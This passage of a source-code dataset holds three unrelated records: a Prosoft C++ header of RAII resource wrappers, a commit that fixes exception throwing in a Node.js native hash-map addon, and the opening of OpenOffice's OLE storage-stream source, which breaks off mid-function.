reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/     * Neither the name of Prosoft nor the names of its contributors may be\n\/\/       used to endorse or promote products derived from this software without\n\/\/       specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n\/\/ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n\/\/ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n\/\/ DISCLAIMED. IN NO EVENT SHALL PROSOFT ENGINEERING, INC. BE LIABLE FOR ANY\n\/\/ DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n\/\/ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n\/\/ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#ifndef PS_CORE_UNIQUE_RESOURCE_HPP\n#define PS_CORE_UNIQUE_RESOURCE_HPP\n\n#if __APPLE__\n#include <CoreFoundation\/CoreFoundation.h>\n#elif _WIN32\n#include <prosoft\/core\/config\/config_windows.h>\n#include <windows.h>\n#endif\n\n#include <cstring> \/\/ memset\n#include <memory>\n#include <type_traits>\n#include <utility>\n\n#include <prosoft\/core\/config\/config.h>\n\nnamespace prosoft {\n\n\/\/ malloc for typed anonymous memory\nnamespace iunique {\nstruct malloc_delete {\n    void operator()(void* p) PS_NOEXCEPT {\n        std::free(p);\n    }\n};\n} \/\/ iunique\n\ntemplate <typename T>\nusing unique_malloc = std::unique_ptr<T, iunique::malloc_delete>;\n\ntemplate <typename T>\ninline unique_malloc<T> make_malloc(size_t sz) PS_NOEXCEPT {\n    return unique_malloc<T>{ (T*)std::malloc(sz) };\n}\n\nstruct count_t {\n    explicit count_t(size_t ct) PS_NOEXCEPT : count(ct) {}\n    size_t count;\n};\n\ntemplate <typename T>\ninline unique_malloc<T> make_malloc(count_t count) PS_NOEXCEPT {\n    return unique_malloc<T>{ (T*)std::malloc(sizeof(T) * count.count) };\n}\n\ntemplate <typename T>\ninline unique_malloc<T> init_malloc(size_t sz, int pattern = 0) PS_NOEXCEPT {\n    auto p = make_malloc<T>(sz);\n    if (p) {\n        std::memset(p.get(), pattern, sz);\n    }\n    return p;\n}\n\ntemplate <typename T>\ninline unique_malloc<T> make_malloc(size_t count, size_t sz) PS_NOEXCEPT {\n    return unique_malloc<T>{ (T*)std::calloc(count, sz) };\n}\n\ntemplate <typename T>\ninline unique_malloc<T>& make_malloc(unique_malloc<T>& ptr, size_t sz) PS_NOEXCEPT {\n    auto p = ptr.release(); \/\/ don't free old ptr\n    ptr.reset((T*)std::realloc(p, sz));\n    return ptr;\n}\n\ntemplate <typename T, typename... Args>\ninline unique_malloc<T> make_malloc_throw(Args&&... args) {\n    auto p = make_malloc<T>(std::forward<Args>(args)...);\n    PS_THROW_IF(!p, std::bad_alloc());\n    return p;\n}\n\n#if __APPLE__\n\nnamespace iunique {\n\/\/ CF ref types can be both non-const and const\nstruct cf_delete {\n    void operator()(void* p) PS_NOEXCEPT {\n        if (p) { ::CFRelease(p); }\n    }\n    void operator()(const void* p) PS_NOEXCEPT {\n        if (p) { ::CFRelease(p); }\n    }\n};\n} \/\/ iunique\n\ntemplate <typename CFRefType, class Deleter = iunique::cf_delete>\nusing unique_cftype = std::unique_ptr<typename std::remove_pointer<CFRefType>::type, Deleter>;\n\nnamespace CF {\n\/\/ Common CF type aliases\nusing unique_array = unique_cftype<CFArrayRef>;\nusing unique_data = unique_cftype<CFDataRef>;\nusing unique_dictionary = unique_cftype<CFDictionaryRef>;\nusing unique_error = unique_cftype<CFErrorRef>;\nusing unique_number = unique_cftype<CFNumberRef>;\nusing unique_string = unique_cftype<CFStringRef>;\nusing unique_type = unique_cftype<CFTypeRef>;\nusing unique_url = unique_cftype<CFURLRef>;\n} \/\/ CF\n\n#elif _WIN32\n\nnamespace iunique {\nstruct global_delete {\n    void operator() (void* p) PS_NOEXCEPT {\n        ::GlobalFree(p);\n    }\n};\n\/\/ XXX: Heap allocation requires external context other than the pointer and would thus be hard to implement as a unique_ptr.\nstruct local_delete {\n    void operator() (void* p) PS_NOEXCEPT {\n        ::LocalFree(p);\n    }\n};\nstruct taskmem_delete {\n    void operator() (void* p) noexcept {\n        ::CoTaskMemFree(p);\n    }\n};\n} \/\/ iunique\n\nnamespace windows {\ntemplate <typename T>\nusing unique_global = std::unique_ptr<T, iunique::global_delete>;\n\ntemplate <typename T>\nusing unique_local = std::unique_ptr<T, iunique::local_delete>;\n\ntemplate <typename T>\nusing unique_taskmem = std::unique_ptr<T, iunique::taskmem_delete>;\n\nstruct handle_traits {\n    typedef HANDLE pointer;\n    \n    bool is_valid(pointer p) const PS_NOEXCEPT {\n        return (p && p != INVALID_HANDLE_VALUE);\n    }\n    \n    void operator()(pointer p) PS_NOEXCEPT {\n        if (is_valid(p)) {\n            ::CloseHandle(p);\n        }\n    }\n};\n\n\/\/ Custom class for HANDLE's, mainly because std::unique_ptr does not have a way to customize the invalid ptr value.\n\/\/ See http:\/\/blogs.msdn.com\/b\/oldnewthing\/archive\/2004\/03\/02\/82639.aspx for further HANDLE pitfalls.\ntemplate <class Ptr, class Traits>\nclass unique_handle {\n    using up_type = std::unique_ptr<typename std::remove_pointer<Ptr>::type, Traits>;\n    up_type m_up;\npublic:\n    typedef typename up_type::element_type element_type;\n    typedef typename up_type::deleter_type deleter_type;\n    typedef typename up_type::pointer pointer;\n\n    PS_DEFAULT_CONSTRUCTOR(unique_handle);\n    PS_DEFAULT_DESTRUCTOR(unique_handle);\n    PS_DISABLE_COPY(unique_handle);\n    PS_DEFAULT_MOVE(unique_handle);\n    \n    unique_handle(Ptr p) PS_NOEXCEPT : m_up(p) {}\n    \n    Ptr get() const PS_NOEXCEPT { return m_up.get(); }\n    \/\/ XXX: HANDLE is void, so operator* and -> make no sense.\n    explicit operator bool() const PS_NOEXCEPT { return m_up.get_deleter().is_valid(get()); }\n    \n    Ptr release() PS_NOEXCEPT { return m_up.release(); }\n    void reset(Ptr p = Ptr{}) PS_NOEXCEPT { m_up.reset(p); }\n    void operator=(std::nullptr_t) PS_NOEXCEPT { reset(); }\n    void swap(unique_handle& uh) PS_NOEXCEPT { m_up.swap(uh.m_up); }\n};\n\nusing Handle = unique_handle<HANDLE, handle_traits>;\n\n} \/\/ windows\n\n#endif \/\/ __APPLE__\n\n\/\/ CF and Win APIs use handles (the ptr-to-ptr type) quite a lot.\nnamespace iunique {\ntemplate <class T, class D, class UPtr>\nclass uphandle;\n\ntemplate <class Up>\nusing uphandle_t = uphandle<typename Up::element_type, typename Up::deleter_type, typename std::decay<Up>::type>;\n}\n\ntemplate <class Up>\niunique::uphandle_t<Up> handle(Up&) PS_NOEXCEPT;\n\nnamespace iunique {\n\ntemplate <class T, class D, class UPtr>\nclass uphandle {\n    using upointer = UPtr;\n    using pointer = typename upointer::pointer;\n    upointer* m_u;\n    pointer m_p;\n\n    void store() PS_NOEXCEPT {\n        if (m_u) {\n            m_u->reset(m_p);\n        }\n    }\n\n    uphandle(upointer& up) PS_NOEXCEPT : m_u(&up), m_p(nullptr) {}\n\n    uphandle(uphandle&& other)\n        : m_u(other.m_u)\n        , m_p(other.m_p) {\n        other.m_u = nullptr;\n        other.m_p = nullptr;\n    }\n\n    friend uphandle prosoft::handle<upointer>(upointer&) PS_NOEXCEPT;\n \npublic:\n    \/\/ Disabling copy and making construct and move private means this class can never bind to an external lvalue.\n    \/\/ This would be dangerous as leaks coud occur quite easily since the backing store sync only happens on destruction.\n    PS_DISABLE_DEFAULT_CONSTRUCTOR(uphandle);\n    PS_DISABLE_COPY(uphandle);\n    \n    ~uphandle() PS_NOEXCEPT {\n        store();\n    }\n\n    operator pointer*() { return &m_p; }\n};\n\n} \/\/ iunique\n\ntemplate <class Up>\niunique::uphandle_t<Up> handle(Up& up) PS_NOEXCEPT {\n    return iunique::uphandle_t<Up>{up};\n}\n\n} \/\/ prosoft\n\n#endif \/\/ PS_CORE_UNIQUE_RESOURCE_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2011, Carlos Guerreiro\n * http:\/\/perceptiveconstructs.com\n * Licensed under the MIT license *\/\n\n#include <cstring>\n#include <v8.h>\n#include <node.h>\n#include <node_buffer.h>\n\n#include <google\/sparse_hash_map>\n#include <google\/dense_hash_map>\n\n#include \"MurmurHash3.h\"\n\n#include <map>\n\nusing google::sparse_hash_map;\nusing google::dense_hash_map;\n\nusing namespace std;\n\nusing namespace v8;\nusing namespace node;\n\nstruct RawHashKey {\n  RawHashKey() : len(0), data(0) {\n  }\n  RawHashKey(size_t l, void* d) : len(l), data(d) {}\n  size_t len;\n  void* data;\n};\n\nstruct BufferHasher {\n  uint32_t seed;\n  BufferHasher(void) : seed(1) {\n  }\n  BufferHasher(uint32_t s) : seed(s) {\n  }\n  size_t operator ()(const RawHashKey& k) const {\n    uint32_t out;\n    if(k.len == 0 || k.len == 0xffffffff)\n      return 0;\n    MurmurHash3_x86_32(k.data, k.len, seed, &out);\n    return out;\n  }\n};\n\nstruct BufferEq {\n  BufferEq(void) {\n  }\n  bool operator()(const RawHashKey& a, const RawHashKey& b) const {\n    if(a.len != b.len)\n      return false;\n    if(a.len == 0 || a.len == 0xffffffff)\n      return true;\n    return memcmp(a.data, b.data, a.len) == 0;\n  }\n};\n\n\/\/ used by MapRawHash (std::map) only\n\/\/ doesn't have to deal with special values for deleted or empty\nstruct BufferLess {\n  BufferLess(void) {\n  }\n  bool operator()(const RawHashKey& a, const RawHashKey& b) const {\n    if(a.len == b.len)\n      return memcmp(a.data, b.data, a.len) < 0;\n    else\n      return a.len < b.len;\n  }\n};\n\nRawHashKey empty(0, 0);\nRawHashKey deleted(0xffffffff, 0);\n\nvoid initPostConstruction(sparse_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq>& m) {\n  m.set_deleted_key(deleted);\n}\n\nvoid initPostConstruction(dense_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq>& m) {\n  m.set_empty_key(empty);\n  m.set_deleted_key(deleted);\n}\n\nvoid initPostConstruction(map<RawHashKey, Persistent<Value>, BufferLess>& m) {\n}\n\ntemplate <class StorageT>\nclass RawHash: ObjectWrap {\nprivate:\n  StorageT items;\n\n  typename StorageT::iterator access(Local<Value> v) {\n    Local<Object> o = v->ToObject();\n    RawHashKey pk(Buffer::Length(o), Buffer::Data(o));\n    return items.find(pk);\n  }\npublic:\n  RawHash() : items() {\n    initPostConstruction(items);\n  }\n  RawHash(uint32_t seed) : items(0, BufferHasher(seed)) {\n    initPostConstruction(items);\n  }\n  \n  ~RawHash() {\n    typename StorageT::iterator it;\n    \n    for(it = items.begin(); it != items.end(); ++it) {\n      free(it->first.data);\n      it->second.Dispose();\n    }\n  }\n\n  static void init(Handle < Object > target, Handle<Value> (*func)(const Arguments&), Persistent<FunctionTemplate>& ct, const char* name) {\n    Local<FunctionTemplate> t = FunctionTemplate::New(func);\n    ct = Persistent<FunctionTemplate>::New(t);\n    ct->InstanceTemplate()->SetInternalFieldCount(1);\n    Local<String> nameSymbol = String::NewSymbol(name);\n    ct->SetClassName(nameSymbol);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"set\", set);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"get\", get);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"del\", del);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"each\", each);\n    target->Set(nameSymbol, ct->GetFunction());\n  }\n  \n  static Handle<Value> New(const Arguments& args) {\n    HandleScope scope;\n\n    if (!args.IsConstructCall()) {\n      return ThrowException(Exception::TypeError(String::New(\"Use the new operator to create instances of this object.\")));\n    }\n  \n    RawHash* bh = new RawHash();\n    bh->Wrap(args.This());\n    return args.This();\n  }\n\n  static Handle<Value> NewWithSeed(const Arguments& args) {\n    HandleScope scope;\n\n    if (!args.IsConstructCall()) {\n      return ThrowException(Exception::TypeError(String::New(\"Use the new operator to create instances of this object.\")));\n    }\n\n    uint32_t seed = 1;\n    if(args.Length() >= 1) {\n      Local<Integer> s = *args[0]->ToInteger();\n      if(s.IsEmpty())\n\treturn Exception::Error(String::New(\"argument 1 must be a integer\"));\n      seed = s->Value();\n    }\n    RawHash* bh = new RawHash(seed);\n    bh->Wrap(args.This());\n    return args.This();\n  }\n\n  static Handle<Value> get(const Arguments& args) {\n    HandleScope scope;\n\n    if(args.Length() != 1) {\n      return Exception::Error(String::New(\"get takes 1 argument\"));\n    }\n\n    if(!Buffer::HasInstance(args[0]))\n      return Exception::Error(String::New(\"argument 1 must be a Buffer\"));\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());    \n    typename StorageT::iterator it = bh->access(args[0]);\n    if(it == bh->items.end())\n      return Undefined();\n    \n    return scope.Close(it->second);\n  }\n\n  static Handle<Value> set(const Arguments& args) {\n    HandleScope scope;\n\n    if(args.Length() != 2) {\n      return Exception::Error(String::New(\"set takes 2 arguments\"));\n    }\n\n    if(!Buffer::HasInstance(args[0]))\n      return Exception::Error(String::New(\"argument 1 must be a Buffer\"));\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());\n\n    Persistent<Value> pv = Persistent<Value>::New(args[1]);\n    Local<Object> o = args[0]->ToObject();\n\n    RawHashKey pk;\n    pk.len = Buffer::Length(o);\n    pk.data = malloc(pk.len);\n    memcpy(pk.data, Buffer::Data(o), pk.len);\n\n    typename StorageT::iterator it = bh->items.find(pk);\n    if(it != bh->items.end()) {\n      it->second.Dispose();\n      it->second = pv;\n    } else\n      bh->items[pk] = pv;\n\n    return scope.Close(args[1]);\n  }\n\n  static Handle<Value> del(const Arguments& args) {\n    HandleScope scope;\n\n    if(args.Length() != 1) {\n      return Exception::Error(String::New(\"get takes 1 argument\"));\n    }\n\n    if(!Buffer::HasInstance(args[0]))\n      return Exception::Error(String::New(\"argument 1 must be a Buffer\"));\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());\n    typename StorageT::iterator it = bh->access(args[0]);\n    if(it == bh->items.end())\n      return scope.Close(Boolean::New(false));\n\n    free(it->first.data);\n    it->second.Dispose();\n    bh->items.erase(it);\n\n    return scope.Close(Boolean::New(true));\n  }\n\n  static Handle<Value> each(const Arguments& args) {\n    if(args.Length() != 1) {\n      return Exception::Error(String::New(\"each takes 1 argument\"));\n    }\n    if (!args[0]->IsFunction()) {\n      return ThrowException(Exception::TypeError(String::New(\"argument must be a callback function\")));\n    }\n    \/\/ There's no ToFunction(), use a Cast instead.\n    Local<Function> callback = Local<Function>::Cast(args[0]);\n    Local<Value> k = Local<Value>::New(Undefined());\n    Local<Value> v = Local<Value>::New(Undefined());\n\n    const unsigned argc = 2;\n    Local<Value> argv[argc] = { v };\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());\n    typename StorageT::iterator it;\n\n    Local<Object> globalObj = Context::GetCurrent()->Global();\n    Local<Function> bufferConstructor = Local<Function>::Cast(globalObj->Get(String::New(\"Buffer\")));\n \n    for(it = bh->items.begin(); it != bh->items.end(); ++it) {\n      const RawHashKey& k = it->first;\n      Buffer* b = Buffer::New(k.len);\n      memcpy(Buffer::Data(b), k.data, k.len);\n      \/\/ FIXME: consider not creating a Buffer object every time\n      argv[0] = Local<Value>::New(b->handle_);\n      argv[1] = *it->second;\n      TryCatch tc;\n      Local<Value> ret = callback->Call(Context::GetCurrent()->Global(), argc, argv);\n      if(ret.IsEmpty() || ret->IsFalse())\n\tbreak;\n    }\n\n    return Undefined();\n  }\n};\n\ntypedef RawHash<sparse_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq> > SparseRawHash;\ntypedef RawHash<dense_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq> > DenseRawHash;\ntypedef RawHash<map<RawHashKey, Persistent<Value>, BufferLess> > MapRawHash;\n\nstatic Persistent<FunctionTemplate> sparseRawHash_ct;\nstatic Persistent<FunctionTemplate> denseRawHash_ct;\nstatic Persistent<FunctionTemplate> mapRawHash_ct;\n\nvoid RegisterModule(Handle<Object> target) {\n  SparseRawHash::init(target, SparseRawHash::NewWithSeed, sparseRawHash_ct, \"Sparse\");\n  DenseRawHash::init(target, DenseRawHash::NewWithSeed, denseRawHash_ct, \"Dense\");\n  MapRawHash::init(target, MapRawHash::New, mapRawHash_ct, \"Map\");\n}\n\nNODE_MODULE(rawhash, RegisterModule);\n<commit_msg>throwing exceptions properly. some formatting fixes. removed some dead code.<commit_after>\/* Copyright 2011, Carlos Guerreiro\n * http:\/\/perceptiveconstructs.com\n * Licensed under the MIT license *\/\n\n#include <cstring>\n#include <v8.h>\n#include <node.h>\n#include <node_buffer.h>\n\n#include <google\/sparse_hash_map>\n#include <google\/dense_hash_map>\n\n#include \"MurmurHash3.h\"\n\n#include <map>\n\nusing google::sparse_hash_map;\nusing google::dense_hash_map;\n\nusing namespace std;\n\nusing namespace v8;\nusing namespace node;\n\nstruct RawHashKey {\n  RawHashKey() : len(0), data(0) {\n  }\n  RawHashKey(size_t l, void* d) : len(l), data(d) {}\n  size_t len;\n  void* data;\n};\n\nstruct BufferHasher {\n  uint32_t seed;\n  BufferHasher(void) : seed(1) {\n  }\n  BufferHasher(uint32_t s) : seed(s) {\n  }\n  size_t operator ()(const RawHashKey& k) const {\n    uint32_t out;\n    if(k.len == 0 || k.len == 0xffffffff)\n      return 0;\n    MurmurHash3_x86_32(k.data, k.len, seed, &out);\n    return out;\n  }\n};\n\nstruct BufferEq {\n  BufferEq(void) {\n  }\n  bool operator()(const RawHashKey& a, const RawHashKey& b) const {\n    if(a.len != b.len)\n      return false;\n    if(a.len == 0 || a.len == 0xffffffff)\n      return true;\n    return memcmp(a.data, b.data, a.len) == 0;\n  }\n};\n\n\/\/ used by MapRawHash (std::map) only\n\/\/ doesn't have to deal with special values for deleted or empty\nstruct BufferLess {\n  BufferLess(void) {\n  }\n  bool operator()(const RawHashKey& a, const RawHashKey& b) const {\n    if(a.len == b.len)\n      return memcmp(a.data, b.data, a.len) < 0;\n    else\n      return a.len < b.len;\n  }\n};\n\nRawHashKey empty(0, 0);\nRawHashKey deleted(0xffffffff, 0);\n\nvoid initPostConstruction(sparse_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq>& m) {\n  m.set_deleted_key(deleted);\n}\n\nvoid initPostConstruction(dense_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq>& m) {\n  m.set_empty_key(empty);\n  m.set_deleted_key(deleted);\n}\n\nvoid initPostConstruction(map<RawHashKey, Persistent<Value>, BufferLess>& m) {\n}\n\ntemplate <class StorageT>\nclass RawHash: ObjectWrap {\nprivate:\n  StorageT items;\n\n  typename StorageT::iterator access(Local<Value> v) {\n    Local<Object> o = v->ToObject();\n    RawHashKey pk(Buffer::Length(o), Buffer::Data(o));\n    return items.find(pk);\n  }\npublic:\n  RawHash() : items() {\n    initPostConstruction(items);\n  }\n  RawHash(uint32_t seed) : items(0, BufferHasher(seed)) {\n    initPostConstruction(items);\n  }\n\n  ~RawHash() {\n    typename StorageT::iterator it;\n\n    for(it = items.begin(); it != items.end(); ++it) {\n      free(it->first.data);\n      it->second.Dispose();\n    }\n  }\n\n  static void init(Handle < Object > target, Handle<Value> (*func)(const Arguments&), Persistent<FunctionTemplate>& ct, const char* name) {\n    Local<FunctionTemplate> t = FunctionTemplate::New(func);\n    ct = Persistent<FunctionTemplate>::New(t);\n    ct->InstanceTemplate()->SetInternalFieldCount(1);\n    Local<String> nameSymbol = String::NewSymbol(name);\n    ct->SetClassName(nameSymbol);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"set\", set);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"get\", get);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"del\", del);\n    NODE_SET_PROTOTYPE_METHOD(ct, \"each\", each);\n    target->Set(nameSymbol, ct->GetFunction());\n  }\n\n  static Handle<Value> New(const Arguments& args) {\n    HandleScope scope;\n\n    if (!args.IsConstructCall()) {\n      return ThrowException(Exception::TypeError(String::New(\"Use the new operator to create instances of this object.\")));\n    }\n\n    RawHash* bh = new RawHash();\n    bh->Wrap(args.This());\n    return args.This();\n  }\n\n  static Handle<Value> NewWithSeed(const Arguments& args) {\n    HandleScope scope;\n\n    if (!args.IsConstructCall()) {\n      return ThrowException(Exception::TypeError(String::New(\"Use the new operator to create instances of this object.\")));\n    }\n\n    uint32_t seed = 1;\n    if(args.Length() >= 1) {\n      Local<Integer> s = *args[0]->ToInteger();\n      if(s.IsEmpty())\n        return ThrowException(Exception::Error(String::New(\"argument 1 must be a integer\")));\n      seed = s->Value();\n    }\n    RawHash* bh = new RawHash(seed);\n    bh->Wrap(args.This());\n    return args.This();\n  }\n\n  static Handle<Value> get(const Arguments& args) {\n    HandleScope scope;\n\n    if(args.Length() != 1) {\n      return ThrowException(Exception::Error(String::New(\"get takes 1 argument\")));\n    }\n\n    if(!Buffer::HasInstance(args[0]))\n      return ThrowException(Exception::Error(String::New(\"argument 1 must be a Buffer\")));\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());\n    typename StorageT::iterator it = bh->access(args[0]);\n    if(it == bh->items.end())\n      return Undefined();\n\n    return scope.Close(it->second);\n  }\n\n  static Handle<Value> set(const Arguments& args) {\n    HandleScope scope;\n\n    if(args.Length() != 2) {\n      return ThrowException(Exception::Error(String::New(\"set takes 2 arguments\")));\n    }\n\n    if(!Buffer::HasInstance(args[0]))\n      return ThrowException(Exception::Error(String::New(\"argument 1 must be a Buffer\")));\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());\n\n    Persistent<Value> pv = Persistent<Value>::New(args[1]);\n    Local<Object> o = args[0]->ToObject();\n\n    RawHashKey pk;\n    pk.len = Buffer::Length(o);\n    pk.data = malloc(pk.len);\n    memcpy(pk.data, Buffer::Data(o), pk.len);\n\n    typename StorageT::iterator it = bh->items.find(pk);\n    if(it != bh->items.end()) {\n      it->second.Dispose();\n      it->second = pv;\n    } else\n      bh->items[pk] = pv;\n\n    return scope.Close(args[1]);\n  }\n\n  static Handle<Value> del(const Arguments& args) {\n    HandleScope scope;\n\n    if(args.Length() != 1) {\n      return ThrowException(Exception::Error(String::New(\"get takes 1 argument\")));\n    }\n\n    if(!Buffer::HasInstance(args[0]))\n      return ThrowException(Exception::Error(String::New(\"argument 1 must be a Buffer\")));\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());\n    typename StorageT::iterator it = bh->access(args[0]);\n    if(it == bh->items.end())\n      return scope.Close(Boolean::New(false));\n\n    free(it->first.data);\n    it->second.Dispose();\n    bh->items.erase(it);\n\n    return scope.Close(Boolean::New(true));\n  }\n\n  static Handle<Value> each(const Arguments& args) {\n    if(args.Length() != 1) {\n      return ThrowException(Exception::Error(String::New(\"each takes 1 argument\")));\n    }\n    if (!args[0]->IsFunction()) {\n      return ThrowException(Exception::TypeError(String::New(\"argument must be a callback function\")));\n    }\n    \/\/ There's no ToFunction(), use a Cast instead.\n    Local<Function> callback = Local<Function>::Cast(args[0]);\n    Local<Value> k = Local<Value>::New(Undefined());\n    Local<Value> v = Local<Value>::New(Undefined());\n\n    const unsigned argc = 2;\n    Local<Value> argv[argc] = { v };\n\n    RawHash* bh = ObjectWrap::Unwrap<RawHash>(args.This());\n    typename StorageT::iterator it;\n\n    for(it = bh->items.begin(); it != bh->items.end(); ++it) {\n      const RawHashKey& k = it->first;\n      Buffer* b = Buffer::New(k.len);\n      memcpy(Buffer::Data(b), k.data, k.len);\n      \/\/ FIXME: consider not creating a Buffer object every time\n      argv[0] = Local<Value>::New(b->handle_);\n      argv[1] = *it->second;\n      TryCatch tc;\n      Local<Value> ret = callback->Call(Context::GetCurrent()->Global(), argc, argv);\n      if(ret.IsEmpty() || ret->IsFalse())\n        break;\n    }\n\n    return Undefined();\n  }\n};\n\ntypedef RawHash<sparse_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq> > SparseRawHash;\ntypedef RawHash<dense_hash_map<RawHashKey, Persistent<Value>, BufferHasher, BufferEq> > DenseRawHash;\ntypedef RawHash<map<RawHashKey, Persistent<Value>, BufferLess> > MapRawHash;\n\nstatic Persistent<FunctionTemplate> sparseRawHash_ct;\nstatic Persistent<FunctionTemplate> denseRawHash_ct;\nstatic Persistent<FunctionTemplate> mapRawHash_ct;\n\nvoid RegisterModule(Handle<Object> target) {\n  SparseRawHash::init(target, SparseRawHash::NewWithSeed, sparseRawHash_ct, \"Sparse\");\n  DenseRawHash::init(target, DenseRawHash::NewWithSeed, denseRawHash_ct, \"Dense\");\n  MapRawHash::init(target, MapRawHash::New, mapRawHash_ct, \"Map\");\n}\n\nNODE_MODULE(rawhash, RegisterModule);\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: stgole.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: vg $ $Date: 2006-09-25 13:35:41 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sot.hxx\"\n\n#include \"rtl\/string.h\"\n#include \"rtl\/string.h\"\n#include \"stgole.hxx\"\n#include \"storinfo.hxx\"     \/\/ Read\/WriteClipboardFormat()\n\n#include <tools\/debug.hxx>\n#if defined(_MSC_VER) && (_MSC_VER>=1400)\n#pragma warning(disable: 4342)\n#endif\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ class StgInternalStream \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStgInternalStream::StgInternalStream\n    ( BaseStorage& rStg, const String& rName, BOOL bWr )\n{\n    bIsWritable = TRUE;\n    USHORT nMode = bWr\n                 ? STREAM_WRITE | STREAM_SHARE_DENYALL\n                 : STREAM_READ | STREAM_SHARE_DENYWRITE | STREAM_NOCREATE;\n    pStrm = rStg.OpenStream( rName, nMode );\n\n    \/\/ set the error code right here in the stream\n    SetError( rStg.GetError() );\n    SetBufferSize( 1024 );\n}\n\nStgInternalStream::~StgInternalStream()\n{\n    delete pStrm;\n}\n\nULONG StgInternalStream::GetData( void* pData, ULONG nSize )\n{\n    if( pStrm )\n    {\n        nSize = pStrm->Read( pData, nSize );\n        SetError( pStrm->GetError() );\n        return nSize;\n    }\n    else\n        return 0;\n}\n\nULONG StgInternalStream::PutData( const void* pData, ULONG nSize )\n{\n    if( pStrm )\n    {\n        nSize = pStrm->Write( pData, nSize );\n        SetError( pStrm->GetError() );\n        return nSize;\n    }\n    else\n        return 0;\n}\n\nULONG StgInternalStream::SeekPos( ULONG nPos )\n{\n    return pStrm ? pStrm->Seek( nPos ) : 0;\n}\n\nvoid StgInternalStream::FlushData()\n{\n    if( pStrm )\n    {\n        pStrm->Flush();\n        SetError( pStrm->GetError() );\n    }\n}\n\nvoid StgInternalStream::Commit()\n{\n    Flush();\n    pStrm->Commit();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ class StgCompObjStream \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nStgCompObjStream::StgCompObjStream( BaseStorage& rStg, BOOL bWr )\n            : StgInternalStream( rStg, String::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"\\1CompObj\" ) ), bWr )\n{\n    memset( &aClsId, 0, sizeof( ClsId ) );\n    nCbFormat = 0;\n}\n\nBOOL StgCompObjStream::Load()\n{\n    memset( &aClsId, 0, sizeof( ClsId ) );\n    nCbFormat = 0;\n    aUserName.Erase();\n    if( GetError() != SVSTREAM_OK )\n        return FALSE;\n    Seek( 8L );     \/\/ skip the first part\n    INT32 nMarker = 0;\n    *this >> nMarker;\n    if( nMarker == -1L )\n    {\n        *this >> aClsId;\n        INT32 nLen1 = 0;\n        *this >> nLen1;\n        \/\/ higher bits are ignored\n        nLen1 &= 0xFFFF;\n        